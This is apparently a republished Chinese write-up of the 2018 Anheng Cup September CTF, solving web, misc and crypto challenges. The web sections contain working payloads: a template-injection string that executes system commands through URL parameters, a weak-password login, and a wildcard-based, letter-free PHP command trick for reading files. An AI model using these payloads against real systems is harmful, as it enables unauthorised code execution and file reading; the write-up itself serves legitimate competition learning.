CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

一叶飘零

2019年2月21日 759点热度 0人点赞 0条评论

一叶飘零
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
2018安恒杯 - 9月月赛Writeup
阅读量 196359 | 评论 6 稿费 300

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-09-24 10:00:59

前言
中秋放假,做了一下安恒月赛,记录一下题解

Web1
首先弱密码爆进后台

admin
admin123
看到突兀的字体

一看就是出题人留下的了

探寻了一遍功能

发现添加图片处也有这种字体

很容易联想到漏洞点,于是开始代码审计

下载

http://101.71.29.5:10013/web/You_Cant_Guess.zip
定位到图片位置

public function actionShow(){
$template = '

图片内容为:

图片ID:{cms:id}
图片名称:{cms:name}
图片地址:{cms:pic}';
if (isset($_GET['id'])) {
$model = new Content();
$res = $model->find()->where(['id' =>intval($_GET['id'])])->one();
$template = str_replace("{cms:id}",$res->id,$template);
$template = str_replace("{cms:name}",$res->name,$template);
$template = str_replace("{cms:pic}",$res->url,$template);
$template = $this->parseIf($template);
echo $template;
}else{
return json_encode(['error'=>'id error!']);
}
}
跟进函数parseIf

参考文章

https://www.anquanke.com/post/id/153402
我们添加图片为

skysec
{if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}
然后访问

http://101.71.29.5:10013/web/index.php?r=content%2Fshow&id=1919&sky=system&cool=ls
即可列目录

拿flag即可

flag{65bb1dd503d2a682b47fde40571598f4}

Web2
拿到题目

http://101.71.29.5:10014/
代码如下

35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
发现字母啥都被过滤了,第一反应就是通配符,容易想到

/???/??? => /bin/cat
那么构造

$_=`/???/???%20/???/???/????/?????.???`;?>
"/bin/cat /var/www/html/index.php"
长度超过了上限

参考这篇文章

https://www.anquanke.com/post/id/154284
使用*通配

$_=`/???/???%20/???/???/????/*`;?>
但是没有$和_
改进为

?>
得到

发现关键点

function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
我们直接读flag文件就好

?>

得到flag

flag{aa5237a5fc25af3fa07f1d724f7548d7}

Misc1
下载用winrar打开

很明显的长度为6的CRC32

我们用工具爆破一下

得到压缩包密码

forum_91ctf_com_66
解密后得到

我们n2s转成字符串,得到

扫描得到flag

flag{owid0-o91hf-9iahg}

Misc2
拿到题目是张图片,binwalk跑了一下发现了压缩包

提取出来需要密码解压,尝试了各种方法,最后竟然是修改图片高度,太脑洞了吧???

将原来的044C改为04FF,即可

解压后得到一个压缩包,本能的导出html对象

浏览一遍,发现可疑字符串,解base64,得到flag

flag{Oz_4nd_Hir0_lov3_For3ver}

Crypto1
这题略带脑洞,解压出的密文为

ilnllliiikkninlekile
长度为20

并且发现提示

The length of this plaintext: 10
密文长度是明文的2倍,然后密文只有5个字母出现,本能想到多表加密,但是不知道表的边缘的排序方式
例如:

ilnke
iklne
.....
因为排序规则不同,就涉及对应的字母不同,所以这里我选择爆破一发

import itertools

key = []
cipher = "ilnllliiikkninlekile"

for i in itertools.permutations('ilnke', 5):
key.append(''.join(i))

for now_key in key:
solve_c = ""
res = ""
for now_c in cipher:
solve_c += str(now_key.index(now_c))
for i in range(0,len(solve_c),2):
now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
if now_ascii>ord('i'):
now_ascii+=1
res += chr(now_ascii)
if "flag" in res:
print now_key,res
得到结果

linke flagishere
linek flagkxhdwd
一看就是第一个,结果交了不对。。。
后来发现要交md5,得到flag

flag{eedda7bea3964bfb288ca6004a973c2a}

Crypto2
拿到题目

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Crypto.Cipher import AES
from Crypto import Random

def encrypt(data, password):
bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data

def decrypt(data, password):
unpad = lambda s : s[0:-ord(s[-1])]
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(data)
return unpad(data)

def generate_passwd(key):
data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64")
rand_int = int(decrypt(data_halt, key).encode("hex"), 16)
round = 0x7DC59612
result = 1
a1 = 0
while a1 < round: a2 = 0 while a2 < round: a3 = 0 while a3 < round: result = result * (rand_int % 0xB18E) % 0xB18E a3 += 1 a2 += 1 a1 += 1 return encrypt(str(result), key) if __name__ == '__main__': key = raw_input("key:") if len(key) != 32: print "check key length!" exit() passwd = generate_passwd(key.decode("hex")) flag = raw_input("flag:") print "output:", encrypt(flag, passwd).encode("base64") # key = md5(sha1("flag")) # output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw" 我们不难看出这题的难点应该在于generate_passwd()了吧,加解密函数都给你写好了,调用就行,我们仔细观察这个generate_passwd() def generate_passwd(key): data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64") rand_int = int(decrypt(data_halt, key).encode("hex"), 16) round = 0x7DC59612 result = 1 a1 = 0 while a1 < round: a2 = 0 while a2 < round: a3 = 0 while a3 < round: result = result * (rand_int % 0xB18E) % 0xB18E a3 += 1 a2 += 1 a1 += 1 return encrypt(str(result), key) 看起来很复杂,还有3层循环,但仔细抓住result,发现其值一定小于0xB18E 那么爆破即可 output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw" key = md5(sha1("flag")) for result in range(0xB18E): passwd = generate_passwd(key.decode("hex"),result) r = decrypt(output.decode("base64"), passwd) if 'flag' in r: print r 拿到flag flag{552d3a0e567542d99694c4d61d1a652e} 本文由安全客原创发布 转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/160582 安全客 - 有思想的安全新媒体 CTF writeup 一叶飘零 认证 分享到: QQ空间 新浪微博 微信 QQ facebook twitter |推荐阅读 ETW注册表监控windows内核实现原理 2019-02-21 14:30:47 WordPress 5.0.0远程代码执行漏洞分析 2019-02-21 11:30:53 Lucky双平台勒索者解密分析 2019-02-21 10:45:27 off by null漏洞getshell示例 2019-02-20 16:59:40 |发表评论 发表你的评论吧 昵称 小虎 换一个 |评论列表 一叶飘零 · 本文作者 · 2018-10-06 10:44:23 回复 web1:ph牛的深入分析 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html 膜 一叶飘零 · 本文作者 · 2018-10-06 10:44:51 回复 写错了,web2 神奇小子 · 2018-09-26 16:10:13 回复 感觉题目质量 比网鼎杯高啊 妇科圣手 · 2018-09-25 12:59:24 回复 逆向的呢? 一叶飘零 · 本文作者 · 2018-09-26 14:48:21 1 回复 逆向,一个是base64+rc4,一个是矩阵相乘+rot13,应该是今晚,安恒有直播,7点-8点,你可以看一下 Ronpa · 2018-09-26 11:52:22 1 回复 逆向的我投稿了 不知道过没过233333 一叶飘零 个人博客:skysec.top 文章 49 粉丝 99 TA的文章 2019安恒1月月赛Writeip-Web&Crypto&Misc 2019-01-27 11:00:54 JavaScript侧信道时间测量 2019-01-27 10:30:24 2018安恒杯11月赛-Web&Crypto题解 2018-11-26 10:02:02 当中国剩余定理邂逅RSA 2018-11-21 15:50:18 session_start()&bestphp 2018-11-19 09:39:33 输入关键字搜索内容 相关文章 off by null漏洞getshell示例 HackIMshop的解析及学习 FireShellCTF2019 babyheap 详细题解 tcache Attack:lctf2018 easy_heap Nullcon2019-pwn详解 HackIM 2019 Web记录 fireShellCTF 2019 RE&PWN 热门推荐 文章目录 前言 Web1 Web2 Misc1 Misc2 Crypto1 Crypto2 安全客Logo 安全客 安全客 关于我们 加入我们 联系我们 用户协议 商务合作 合作内容 联系方式 友情链接 内容须知 投稿须知 转载须知 合作单位 安全客 安全客 Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

标签: 暂无
最后更新:2019年2月21日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me